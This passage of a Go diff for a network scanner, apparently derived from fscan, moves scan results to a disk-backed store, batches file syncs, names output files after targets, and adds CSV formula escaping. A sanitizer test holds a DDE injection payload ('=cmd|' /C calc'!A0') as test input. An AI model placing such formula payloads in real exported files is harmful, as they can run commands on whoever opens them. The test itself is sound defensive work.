TestStreamingWriterRemovesStoreOnlyAfterSuccess(t *testing.T) { + path := filepath.Join(t.TempDir(), "results.json") + writer, err := NewJSONWriter(path) + if err != nil { + t.Fatalf("NewJSONWriter: %v", err) + } + storePath := writer.store.Path() + if _, err := os.Stat(storePath); err != nil { + t.Fatalf("store should exist while writer is active: %v", err) + } + if err := writer.Write(&ScanResult{Type: TypeHost, Target: "192.0.2.10"}); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + if _, err := os.Stat(storePath); !os.IsNotExist(err) { + t.Fatalf("store should be removed after success, stat error = %v", err) + } + if _, err := os.Stat(path + ".realtime.tmp"); !os.IsNotExist(err) { + t.Fatalf("realtime log should be removed after success, stat error = %v", err) + } +} + +func TestStreamingWriterKeepsRecoveryArtifactsOnFinalWriteFailure(t *testing.T) { + path := filepath.Join(t.TempDir(), "results.json") + writer, err := NewJSONWriter(path) + if err != nil { + t.Fatalf("NewJSONWriter: %v", err) + } + storePath := writer.store.Path() + if err := writer.Write(&ScanResult{Type: TypeHost, Target: "192.0.2.20"}); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.file.Close(); err != nil { + t.Fatalf("close final file: %v", err) + } + if err := writer.Close(); err == nil { + t.Fatal("Close should report the final output failure") + } + if _, err := os.Stat(storePath); err != nil { + t.Fatalf("store should be retained after failure: %v", err) + } + if _, err := os.Stat(path + ".realtime.tmp"); err != nil { + t.Fatalf("realtime log should be retained after failure: %v", err) + } + _ = os.Remove(storePath) + _ = os.Remove(path + ".realtime.tmp") +} + +func TestDiskResultStoreKeepsHeapBounded(t *testing.T) { + if testing.Short() { + t.Skip("skipping streaming heap test in short mode") + } + store, err := newDiskResultStore(filepath.Join(t.TempDir(), "large.json")) + if err != nil { + t.Fatalf("newDiskResultStore: %v", err) + } + defer func() { + _ = store.Close() + _ = store.Remove() + }() + + runtime.GC() + var before runtime.MemStats + runtime.ReadMemStats(&before) + payload := strings.Repeat("x", 2048) + const resultCount = 10_000 + for i := 0; i < resultCount; i++ { + result := &ScanResult{ + Type: TypeHost, + Target: fmt.Sprintf("198.51.100.%d", i), + Details: map[string]interface{}{ + "payload": payload, + }, + } + if err := store.Add(result); err != nil { + t.Fatalf("Add %d: %v", i, err) + } + } + if err := store.Sync(); err != nil { + t.Fatalf("Sync: %v", err) + } + runtime.GC() + var after runtime.MemStats + runtime.ReadMemStats(&after) + + heapGrowth := int64(after.HeapAlloc) - int64(before.HeapAlloc) + if heapGrowth > 12<<20 { + t.Fatalf("heap grew by %d bytes while streaming %d results", heapGrowth, resultCount) + } + storeInfo, err := os.Stat(store.Path()) + if err != nil { + t.Fatalf("stat result store: %v", err) + } + t.Logf("streamed %d results: heap growth=%d bytes, disk store=%d bytes", resultCount, heapGrowth, storeInfo.Size()) + hosts, _, _, _, err := store.Summary() + if err != nil || hosts != resultCount { + t.Fatalf("stored hosts = %d, err = %v", hosts, err) + } +} diff --git a/common/output/writers.go b/common/output/writers.go index c0013ebe..f67f512e 100644 --- a/common/output/writers.go +++ b/common/output/writers.go @@ -11,9 +11,86 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) +const ( + realtimeSyncBatchSize = 128 + realtimeSyncInterval = time.Second +) + +func maybeSyncRealtime(file *os.File, pending *int, lastSync *time.Time, force bool) error { + if file == nil || pending == nil || lastSync == nil || *pending == 0 { + return nil + } + if !force && *pending < realtimeSyncBatchSize && time.Since(*lastSync) < realtimeSyncInterval { + return nil + } + if err := file.Sync(); err != nil { + return err + } + *pending = 0 + *lastSync = time.Now() + return nil +} + +func syncStreamingArtifacts(store *diskResultStore, realtimeFile *os.File, pending *int, lastSync *time.Time) error { + if store != nil { + if err := store.Sync(); err != nil { + return err + } + } + return maybeSyncRealtime(realtimeFile, pending, lastSync, true) +} + +func closeStreamingArtifacts(store *diskResultStore, realtimeFile *os.File, realtimePath string, pending *int, lastSync *time.Time, finalOK bool) error { + var firstErr error + if store != nil { + if err := store.Close(); err != nil { + firstErr = err + } + } + if realtimeFile != nil { + if err := maybeSyncRealtime(realtimeFile, pending, lastSync, true); err != nil && firstErr == nil { + firstErr = err + } + if err := realtimeFile.Close(); err != nil && firstErr == nil { + firstErr = err + } + } + if finalOK && firstErr == nil { + if store != nil { + if err := store.Remove(); err != nil && firstErr == nil { + firstErr = err + } + } + if err := os.Remove(realtimePath); err != nil && !os.IsNotExist(err) && firstErr == nil { + firstErr = err + } + } + return firstErr +} + +func sanitizeCSVCell(value string) string { + trimmed := strings.TrimLeft(value, " \t\r\n") + if trimmed == "" { + return value + } + switch trimmed[0] { + case '=', '+', '-', '@': + return "'" + value + default: + return value + } +} + +func sanitizeCSVRecord(record []string) []string { + for i := range record { + record[i] = sanitizeCSVCell(record[i]) + } + return record +} + // escapeControlChars 转义控制字符 func escapeControlChars(s string) string { s = strings.ToValidUTF8(s, "?") @@ -75,15 +152,17 @@ func targetWithPort(target string, port interface{}) string { // TXTWriter - 文本格式写入器 // ============================================================================= -// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出) +// TXTWriter 文本格式写入器(磁盘分类存储,按类型聚合输出) type TXTWriter struct { file *os.File bufWriter *bufio.Writer mu sync.Mutex closed bool - buffer *ResultBuffer // 内存分类缓冲 - realtimeFile *os.File // 实时备份文件 - realtimePath string // 实时备份文件路径 + store *diskResultStore + realtimeFile *os.File // 实时备份文件 + realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // NewTXTWriter 创建文本写入器 @@ -100,13 +179,21 @@ func NewTXTWriter(filePath string) (*TXTWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } return &TXTWriter{ file: file, bufWriter: bufio.NewWriter(file), - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -127,8 +214,10 @@ func (w *TXTWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(保持去重和最终分组输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(防崩溃丢数据) if w.realtimeFile != nil { @@ -136,7 +225,8 @@ func (w *TXTWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -324,6 +414,9 @@ func (w *TXTWriter) Flush() error { if err := w.bufWriter.Flush(); err != nil { return err } + if err := syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync); err != nil { + return err + } return w.file.Sync() } @@ -336,26 +429,22 @@ func (w *TXTWriter) Close() error { return nil } - // 按顺序写入所有分类结果 - w.writeSection(TypeHost, w.buffer.HostResults) - w.writeSection(TypePort, w.buffer.PortResults) - w.writeSection(TypeService, w.buffer.ServiceResults) - w.writeSection(TypeVuln, w.buffer.VulnResults) - - // 单独输出 Web 服务列表(便于复制测试) - w.writeWebServices() - - w.closed = true - - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + var firstErr error + for _, resultType := range storedResultTypes { + if err := w.writeSection(resultType); err != nil { + firstErr = err + break + } } + if firstErr == nil { + firstErr = w.writeWebServices() + } + w.closed = true - var firstErr error if err := w.bufWriter.Flush(); err != nil { - firstErr = err + if firstErr == nil { + firstErr = err + } } if err := w.file.Sync(); err != nil && firstErr == nil { firstErr = err @@ -363,50 +452,65 @@ func (w *TXTWriter) Close() error { if err := w.file.Close(); err != nil && firstErr == nil { firstErr = err } + + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } return firstErr } // writeSection 写入一个分类的所有结果 -func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) { - if len(results) == 0 { - return - } - - separator := w.getSeparator(resultType) - _, _ = w.bufWriter.WriteString(separator + "\n") - - for _, result := range results { +func (w *TXTWriter) writeSection(resultType ResultType) error { + wroteHeader := false + err := w.store.ForEach(resultType, func(result *ScanResult) error { + if !wroteHeader { + if _, err := w.bufWriter.WriteString(w.getSeparator(resultType) + "\n"); err != nil { + return err + } + wroteHeader = true + } line := w.formatLine(result) if line != "" { - _, _ = w.bufWriter.WriteString(line + "\n") + if _, err := w.bufWriter.WriteString(line + "\n"); err != nil { + return err + } } + return nil + }) + if err != nil { + return err } - _, _ = w.bufWriter.WriteString("\n") + if wroteHeader { + _, err = w.bufWriter.WriteString("\n") + } + return err } // writeWebServices 单独输出 Web 服务 URL 列表 -func (w *TXTWriter) writeWebServices() { - var urls []string - - for _, result := range w.buffer.ServiceResults { +func (w *TXTWriter) writeWebServices() error { + wroteHeader := false + err := w.store.ForEach(TypeService, func(result *ScanResult) error { if !w.isWebService(result) { - continue + return nil + } + if !wroteHeader { + if _, err := w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n"); err != nil { + return err + } + wroteHeader = true } - target := targetWithPort(result.Target, w.getDetail(result, "port")) - - urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)) - } - - if len(urls) == 0 { - return + _, err := fmt.Fprintf(w.bufWriter, "%s://%s\n", w.webProtocol(result, target), target) + return err + }) + if err != nil { + return err } - - _, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n") - for _, url := range urls { - _, _ = w.bufWriter.WriteString(url + "\n") + if wroteHeader { + _, err = w.bufWriter.WriteString("\n") } - _, _ = w.bufWriter.WriteString("\n") + return err } // isWebService 判断是否为 Web 服务 @@ -446,15 +550,17 @@ func (w *TXTWriter) GetFormat() Format { // JSONWriter - JSON格式写入器 // ============================================================================= -// JSONWriter JSON格式写入器(分类去重,输出完整JSON) -// 双写机制:内存分类缓冲 + 实时NDJSON备份 +// JSONWriter JSON格式写入器(磁盘分类去重,流式生成完整JSON) +// 双写机制:磁盘事务存储 + 实时NDJSON备份 type JSONWriter struct { file *os.File mu sync.Mutex closed bool - buffer *ResultBuffer + store *diskResultStore realtimeFile *os.File // 实时备份文件(NDJSON格式) realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // JSONOutput JSON输出结构 @@ -489,12 +595,20 @@ func NewJSONWriter(filePath string) (*JSONWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } return &JSONWriter{ file: file, - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -515,8 +629,10 @@ func (w *JSONWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(用于最终有序输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(NDJSON格式,防崩溃丢失) if w.realtimeFile != nil { @@ -527,7 +643,8 @@ func (w *JSONWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -537,7 +654,12 @@ func (w *JSONWriter) Write(result *ScanResult) error { // Flush 刷新写入器 func (w *JSONWriter) Flush() error { - return nil + w.mu.Lock() + defer w.mu.Unlock() + if w.closed { + return nil + } + return syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync) } // Close 关闭写入器(写入完整JSON,删除临时备份) @@ -549,38 +671,90 @@ func (w *JSONWriter) Close() error { return nil } - hosts, ports, services, vulns := w.buffer.Summary() - output := JSONOutput{ - ScanTime: time.Now(), - Summary: JSONSummary{ - TotalHosts: hosts, - TotalPorts: ports, - TotalServices: services, - TotalVulns: vulns, - }, - Hosts: w.buffer.HostResults, - Ports: w.buffer.PortResults, - Services: w.buffer.ServiceResults, - Vulns: w.buffer.VulnResults, + w.closed = true + + var firstErr error + if err := w.writeJSONOutput(); err != nil { + firstErr = err + } + if err := w.file.Sync(); err != nil && firstErr == nil { + firstErr = err + } + if err := w.file.Close(); err != nil && firstErr == nil { + firstErr = err } - data, err := json.MarshalIndent(output, JSONIndentPrefix, JSONIndentString) + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } + return firstErr +} + +func (w *JSONWriter) writeJSONOutput() error { + hosts, ports, services, vulns, err := w.store.Summary() if err != nil { return err } - - w.closed = true - - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + scanTime, err := json.Marshal(time.Now()) + if err != nil { + return err } - - if _, err := w.file.Write(data); err != nil { + summary, err := json.Marshal(JSONSummary{ + TotalHosts: hosts, + TotalPorts: ports, + TotalServices: services, + TotalVulns: vulns, + }) + if err != nil { return err } - return w.file.Close() + if _, err := fmt.Fprintf(w.file, "{\n \"scan_time\": %s,\n \"summary\": %s", scanTime, summary); err != nil { + return err + } + + sections := []struct { + name string + resultType ResultType + count int + }{ + {name: "hosts", resultType: TypeHost, count: hosts}, + {name: "ports", resultType: TypePort, count: ports}, + {name: "services", resultType: TypeService, count: services}, + {name: "vulns", resultType: TypeVuln, count: vulns}, + } + for _, section := range sections { + if section.count == 0 { + continue + } + if _, err := fmt.Fprintf(w.file, ",\n %q: [", section.name); err != nil { + return err + } + first := true + if err := w.store.ForEach(section.resultType, func(result *ScanResult) error { + data, err := json.Marshal(result) + if err != nil { + return err + } + separator := ",\n" + if first { + separator = "\n" + first = false + } + if _, err := w.file.WriteString(separator + " "); err != nil { + return err + } + _, err = w.file.Write(data) + return err + }); err != nil { + return err + } + if _, err := w.file.WriteString("\n ]"); err != nil { + return err + } + } + _, err = w.file.WriteString("\n}") + return err } // GetFormat 获取格式类型 @@ -592,17 +766,19 @@ func (w *JSONWriter) GetFormat() Format { // CSVWriter - CSV格式写入器 // ============================================================================= -// CSVWriter CSV格式写入器(分类去重) -// 双写机制:内存分类缓冲 + 实时NDJSON备份 +// CSVWriter CSV格式写入器(磁盘分类去重) +// 双写机制:磁盘事务存储 + 实时NDJSON备份 type CSVWriter struct { file *os.File bufWriter *bufio.Writer csvWriter *csv.Writer mu sync.Mutex closed bool - buffer *ResultBuffer + store *diskResultStore realtimeFile *os.File // 实时备份文件(NDJSON格式) realtimePath string // 实时备份文件路径 + pendingSync int + lastSync time.Time } // NewCSVWriter 创建CSV写入器 @@ -619,6 +795,13 @@ func NewCSVWriter(filePath string) (*CSVWriter, error) { file.Close() return nil, fmt.Errorf("failed to create realtime backup file: %w", err) } + store, err := newDiskResultStore(filePath) + if err != nil { + _ = realtimeFile.Close() + _ = os.Remove(realtimePath) + _ = file.Close() + return nil, err + } bufWriter := bufio.NewWriter(file) csvWriter := csv.NewWriter(bufWriter) @@ -627,9 +810,10 @@ func NewCSVWriter(filePath string) (*CSVWriter, error) { file: file, bufWriter: bufWriter, csvWriter: csvWriter, - buffer: NewResultBuffer(), + store: store, realtimeFile: realtimeFile, realtimePath: realtimePath, + lastSync: time.Now(), }, nil } @@ -650,8 +834,10 @@ func (w *CSVWriter) Write(result *ScanResult) error { return fmt.Errorf("result cannot be nil") } - // 1. 加入内存分类缓冲(用于最终有序输出) - w.buffer.Add(result) + // 1. 写入磁盘分类存储(用于最终有序输出) + if err := w.store.Add(result); err != nil { + return err + } // 2. 实时写入备份文件(NDJSON格式,防崩溃丢失) if w.realtimeFile != nil { @@ -662,7 +848,8 @@ func (w *CSVWriter) Write(result *ScanResult) error { if _, err := w.realtimeFile.Write(append(data, '\n')); err != nil { return fmt.Errorf("failed to write realtime backup: %w", err) } - if err := w.realtimeFile.Sync(); err != nil { + w.pendingSync++ + if err := maybeSyncRealtime(w.realtimeFile, &w.pendingSync, &w.lastSync, false); err != nil { return fmt.Errorf("failed to sync realtime backup: %w", err) } } @@ -672,7 +859,12 @@ func (w *CSVWriter) Write(result *ScanResult) error { // Flush 刷新写入器 func (w *CSVWriter) Flush() error { - return nil + w.mu.Lock() + defer w.mu.Unlock() + if w.closed { + return nil + } + return syncStreamingArtifacts(w.store, w.realtimeFile, &w.pendingSync, &w.lastSync) } // Close 关闭写入器(按类型分组写入,删除临时备份) @@ -684,42 +876,68 @@ func (w *CSVWriter) Close() error { return nil } - // 写入各分类 - w.writeSection("# Hosts", []string{"Target"}, w.buffer.HostResults, w.formatHostRecord) - w.writeSection("# Ports", []string{"Target", "Port", "Status"}, w.buffer.PortResults, w.formatPortRecord) - w.writeSection("# Services", []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, w.buffer.ServiceResults, w.formatServiceRecord) - w.writeSection("# Vulns", []string{"Target", "Type", "Details"}, w.buffer.VulnResults, w.formatVulnRecord) - w.closed = true - // 关闭并删除实时备份文件(正常结束,不再需要) - if w.realtimeFile != nil { - w.realtimeFile.Close() - os.Remove(w.realtimePath) + var firstErr error + sections := []struct { + title string + headers []string + resultType ResultType + formatter func(*ScanResult) []string + }{ + {title: "# Hosts", headers: []string{"Target"}, resultType: TypeHost, formatter: w.formatHostRecord}, + {title: "# Ports", headers: []string{"Target", "Port", "Status"}, resultType: TypePort, formatter: w.formatPortRecord}, + {title: "# Services", headers: []string{"Target", "Service", "Version", "Title", "Status", "Server", "Fingerprints", "Banner"}, resultType: TypeService, formatter: w.formatServiceRecord}, + {title: "# Vulns", headers: []string{"Target", "Type", "Details"}, resultType: TypeVuln, formatter: w.formatVulnRecord}, + } + for _, section := range sections { + if err := w.writeSection(section.title, section.headers, section.resultType, section.formatter); err != nil { + firstErr = err + break + } } - w.csvWriter.Flush() - if err := w.csvWriter.Error(); err != nil { - return err + if err := w.csvWriter.Error(); err != nil && firstErr == nil { + firstErr = err } - if err := w.bufWriter.Flush(); err != nil { - return err + if err := w.bufWriter.Flush(); err != nil && firstErr == nil { + firstErr = err } - return w.file.Close() -} - -func (w *CSVWriter) writeSection(title string, headers []string, results []*ScanResult, formatter func(*ScanResult) []string) { - if len(results) == 0 { - return + if err := w.file.Sync(); err != nil && firstErr == nil { + firstErr = err + } + if err := w.file.Close(); err != nil && firstErr == nil { + firstErr = err } - _ = w.csvWriter.Write([]string{title}) - _ = w.csvWriter.Write(headers) + finalOK := firstErr == nil + if err := closeStreamingArtifacts(w.store, w.realtimeFile, w.realtimePath, &w.pendingSync, &w.lastSync, finalOK); err != nil && firstErr == nil { + firstErr = err + } + return firstErr +} - for _, result := range results { - _ = w.csvWriter.Write(formatter(result)) +func (w *CSVWriter) writeSection(title string, headers []string, resultType ResultType, formatter func(*ScanResult) []string) error { + wroteHeader := false + err := w.store.ForEach(resultType, func(result *ScanResult) error { + if !wroteHeader { + if err := w.csvWriter.Write([]string{title}); err != nil { + return err + } + if err := w.csvWriter.Write(headers); err != nil { + return err + } + wroteHeader = true + } + return w.csvWriter.Write(sanitizeCSVRecord(formatter(result))) + }) + if err != nil { + return err } - _ = w.csvWriter.Write([]string{}) + if wroteHeader { + return w.csvWriter.Write([]string{}) + } + return nil } func (w *CSVWriter) formatHostRecord(result *ScanResult) []string { diff --git a/common/output/writers_test.go b/common/output/writers_test.go index 8ac2448a..3effb432 100644 --- a/common/output/writers_test.go +++ b/common/output/writers_test.go @@ -1,6 +1,7 @@ package output import ( + "encoding/csv" "encoding/json" "fmt" "os" @@ -171,6 +172,53 @@ func TestCSVWriterFormatRecords(t *testing.T) { } } +func TestCSVWriterSanitizesSpreadsheetFormulas(t *testing.T) { + tests := map[string]string{ + "=cmd|' /C calc'!A0": "'=cmd|' /C calc'!A0", + " +SUM(1,2)": "' +SUM(1,2)", + "-10+20": "'-10+20", + "@IMPORTXML(A1,B1)": "'@IMPORTXML(A1,B1)", + "example.com": "example.com", + } + for input, want := range tests { + if got := sanitizeCSVCell(input); got != want { + t.Fatalf("sanitizeCSVCell(%q) = %q, want %q", input, got, want) + } + } + + path := filepath.Join(t.TempDir(), "formula.csv") + writer, err := NewCSVWriter(path) + if err != nil { + t.Fatalf("NewCSVWriter: %v", err) + } + if err := writer.Write(createTestResult(TypeHost, "=HYPERLINK(\"https://example.com\")", "", nil)); err != nil { + t.Fatalf("Write: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + + file, err := os.Open(path) + if err != nil { + t.Fatalf("Open: %v", err) + } + defer file.Close() + records, err := csv.NewReader(file).ReadAll() + if err != nil { + t.Fatalf("ReadAll: %v", err) + } + found := false + for _, record := range records { + if len(record) == 1 && record[0] == "'=HYPERLINK(\"https://example.com\")" { + found = true + break + } + } + if !found { + t.Fatalf("sanitized formula row not found in %#v", records) + } +} + // ============================================================================= // TXTWriter - 基础功能测试 // ============================================================================= diff --git a/common/output_api.go b/common/output_api.go index a5239047..d579329e 100644 --- a/common/output_api.go +++ b/common/output_api.go @@ -9,7 +9,7 @@ output_api.go - 输出系统简化接口 import ( "fmt" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) // ResultOutput 全局输出管理器 @@ -52,7 +52,7 @@ func InitOutput() error { } // 如果使用默认文件名但格式不是txt,自动修正扩展名 - if outputFile == "result.txt" && outputFormat != "txt" { + if outputFile == "result.txt" && outputFormat != "txt" && !fv.OutputFileExplicit { outputFile = "result." + outputFormat } diff --git a/common/output_api_test.go b/common/output_api_test.go index 41f49ec4..853634c1 100644 --- a/common/output_api_test.go +++ b/common/output_api_test.go @@ -7,7 +7,7 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common/output" + "scanner/common/output" ) func readTestFile(t *testing.T, path string) string { diff --git a/common/output_filename.go b/common/output_filename.go new file mode 100644 index 00000000..04b612ac --- /dev/null +++ b/common/output_filename.go @@ -0,0 +1,137 @@ +package common + +import ( + "net/url" + "path/filepath" + "strings" + "unicode" + "unicode/utf8" + + "scanner/common/parsers" +) + +const maxAutoOutputNameRunes = 120 + +func resolveDefaultOutputFile(fv *FlagVars, info *HostInfo) { + if fv == nil { + return + } + if fv.OutputFileExplicit || (fv.Outputfile != "" && fv.Outputfile != "result.txt") { + return + } + + extension := outputExtension(fv.OutputFormat) + target := firstOutputTarget(fv, info) + name := sanitizeOutputTarget(target) + if name == "" { + name = "result" + } + fv.Outputfile = name + "." + extension +} + +func outputExtension(format string) string { + switch strings.ToLower(strings.TrimSpace(format)) { + case "json": + return "json" + case "csv": + return "csv" + default: + return "txt" + } +} + +func firstOutputTarget(fv *FlagVars, info *HostInfo) string { + if info != nil { + if target := firstCommaValue(info.Host); target != "" { + return target + } + } + if target := firstCommaValue(fv.TargetURL); target != "" { + return target + } + if target := firstTargetFromFile(fv.HostsFile); target != "" { + return target + } + if target := firstTargetFromFile(fv.URLsFile); target != "" { + return target + } + if info != nil { + return strings.TrimSpace(info.URL) + } + return "" +} + +func firstCommaValue(input string) string { + for _, value := range strings.Split(input, ",") { + if value = strings.TrimSpace(value); value != "" { + return value + } + } + return "" +} + +func firstTargetFromFile(path string) string { + if strings.TrimSpace(path) == "" { + return "" + } + lines, err := parsers.ReadLinesFromFile(path) + if err != nil { + return "" + } + for _, line := range lines { + if target := firstCommaValue(line); target != "" { + return target + } + } + return "" +} + +func sanitizeOutputTarget(target string) string { + target = strings.TrimSpace(target) + if parsed, err := url.Parse(target); err == nil && parsed.Scheme != "" && parsed.Host != "" { + target = parsed.Host + } + + var builder strings.Builder + lastUnderscore := false + for _, r := range target { + invalid := unicode.IsControl(r) || strings.ContainsRune(`<>:"/\|?*`, r) + if invalid { + if !lastUnderscore { + builder.WriteByte('_') + lastUnderscore = true + } + continue + } + builder.WriteRune(r) + lastUnderscore = false + } + name := strings.Trim(builder.String(), " ._") + name = truncateOutputName(name, maxAutoOutputNameRunes) + if isReservedWindowsName(name) { + name = "_" + name + } + return name +} + +func truncateOutputName(name string, maxRunes int) string { + if utf8.RuneCountInString(name) <= maxRunes { + return name + } + runes := []rune(name) + return string(runes[:maxRunes]) +} + +func isReservedWindowsName(name string) bool { + base := strings.ToUpper(strings.TrimSuffix(name, filepath.Ext(name))) + switch base { + case "CON", "PRN", "AUX", "NUL", "CLOCK$": + return true + } + for _, prefix := range []string{"COM", "LPT"} { + if strings.HasPrefix(base, prefix) && len(base) == 4 && base[3] >= '1' && base[3] <= '9' { + return true + } + } + return false +} diff --git a/common/output_filename_test.go b/common/output_filename_test.go new file mode 100644 index 00000000..8adfd514 --- /dev/null +++ b/common/output_filename_test.go @@ -0,0 +1,97 @@ +package common + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestResolveDefaultOutputFile(t *testing.T) { + tests := []struct { + name string + fv *FlagVars + info *HostInfo + want string + }{ + { + name: "cidr target", + fv: &FlagVars{OutputFormat: "txt"}, + info: &HostInfo{Host: "192.1.1.1/24"}, + want: "192.1.1.1_24.txt", + }, + { + name: "first of multiple targets", + fv: &FlagVars{OutputFormat: "json"}, + info: &HostInfo{Host: "10.0.0.1,10.0.0.2"}, + want: "10.0.0.1.json", + }, + { + name: "url uses authority", + fv: &FlagVars{TargetURL: "https://example.com:8443/path", OutputFormat: "csv"}, + info: &HostInfo{}, + want: "example.com_8443.csv", + }, + { + name: "explicit output is preserved", + fv: &FlagVars{Outputfile: filepath.Join("reports", "custom.log"), OutputFileExplicit: true, OutputFormat: "json"}, + info: &HostInfo{Host: "192.0.2.1"}, + want: filepath.Join("reports", "custom.log"), + }, + { + name: "no target fallback", + fv: &FlagVars{OutputFormat: "json"}, + info: &HostInfo{}, + want: "result.json", + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + resolveDefaultOutputFile(test.fv, test.info) + if test.fv.Outputfile != test.want { + t.Fatalf("Outputfile = %q, want %q", test.fv.Outputfile, test.want) + } + }) + } +} + +func TestResolveDefaultOutputFileUsesFirstFileTarget(t *testing.T) { + path := filepath.Join(t.TempDir(), "targets.txt") + if err := os.WriteFile(path, []byte("\n192.0.2.10\n192.0.2.11\n"), 0600); err != nil { + t.Fatalf("WriteFile: %v", err) + } + fv := &FlagVars{HostsFile: path, OutputFormat: "txt"} + resolveDefaultOutputFile(fv, &HostInfo{}) + if fv.Outputfile != "192.0.2.10.txt" { + t.Fatalf("Outputfile = %q", fv.Outputfile) + } +} + +func TestSanitizeOutputTarget(t *testing.T) { + if got := sanitizeOutputTarget(`..\CON`); got != "_CON" { + t.Fatalf("reserved target = %q", got) + } + if got := sanitizeOutputTarget("2001:db8::1"); got != "2001_db8_1" { + t.Fatalf("IPv6 target = %q", got) + } + long := strings.Repeat("a", maxAutoOutputNameRunes+20) + if got := sanitizeOutputTarget(long); len([]rune(got)) != maxAutoOutputNameRunes { + t.Fatalf("long target length = %d", len([]rune(got))) + } +} + +func TestBuildConfigAppliesAutomaticOutputFile(t *testing.T) { + fv := &FlagVars{OutputFormat: "json"} + info := &HostInfo{Host: "203.0.113.0/24"} + cfg, _, err := BuildConfig(fv, info) + if err != nil { + t.Fatalf("BuildConfig: %v", err) + } + if cfg.Output.File != "203.0.113.0_24.json" { + t.Fatalf("Config output file = %q", cfg.Output.File) + } + if fv.Outputfile != cfg.Output.File { + t.Fatalf("flag/config output mismatch: %q != %q", fv.Outputfile, cfg.Output.File) + } +} diff --git a/common/parse.go b/common/parse.go index 69e0acad..c5b9b397 100644 --- a/common/parse.go +++ b/common/parse.go @@ -1,7 +1,7 @@ package common import ( - "github.com/shadow1ng/fscan/common/logging" + "scanner/common/logging" ) // logLevelMap 日志级别字符串到级别的映射 @@ -46,7 +46,7 @@ func applyLogLevel() { LevelColors: logging.GetDefaultLevelColors(), } if fv.Debug { - config.DebugLogFile = "fscan_debug.log" + config.DebugLogFile = "debug.log" } newLogger := logging.NewLogger(config) diff --git a/common/parsers/host_iterator.go b/common/parsers/host_iterator.go index 654cef64..8e23cc7b 100644 --- a/common/parsers/host_iterator.go +++ b/common/parsers/host_iterator.go @@ -9,7 +9,7 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) const DefaultHostBatchSize = 4096 diff --git a/common/parsers/parsers.go b/common/parsers/parsers.go index dca29eb8..c12df7c6 100644 --- a/common/parsers/parsers.go +++ b/common/parsers/parsers.go @@ -10,8 +10,8 @@ import ( "strconv" "strings" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/config" + "scanner/common/i18n" ) /* diff --git a/common/progress_manager.go b/common/progress_manager.go index e79f7d76..5479979f 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -11,7 +11,7 @@ import ( "golang.org/x/term" - "github.com/shadow1ng/fscan/common/i18n" + "scanner/common/i18n" ) // 默认终端宽度 diff --git a/common/proxy/constants.go b/common/proxy/constants.go index 5d8da009..d9ec75c3 100644 --- a/common/proxy/constants.go +++ b/common/proxy/constants.go @@ -3,7 +3,7 @@ package proxy import ( "time" - 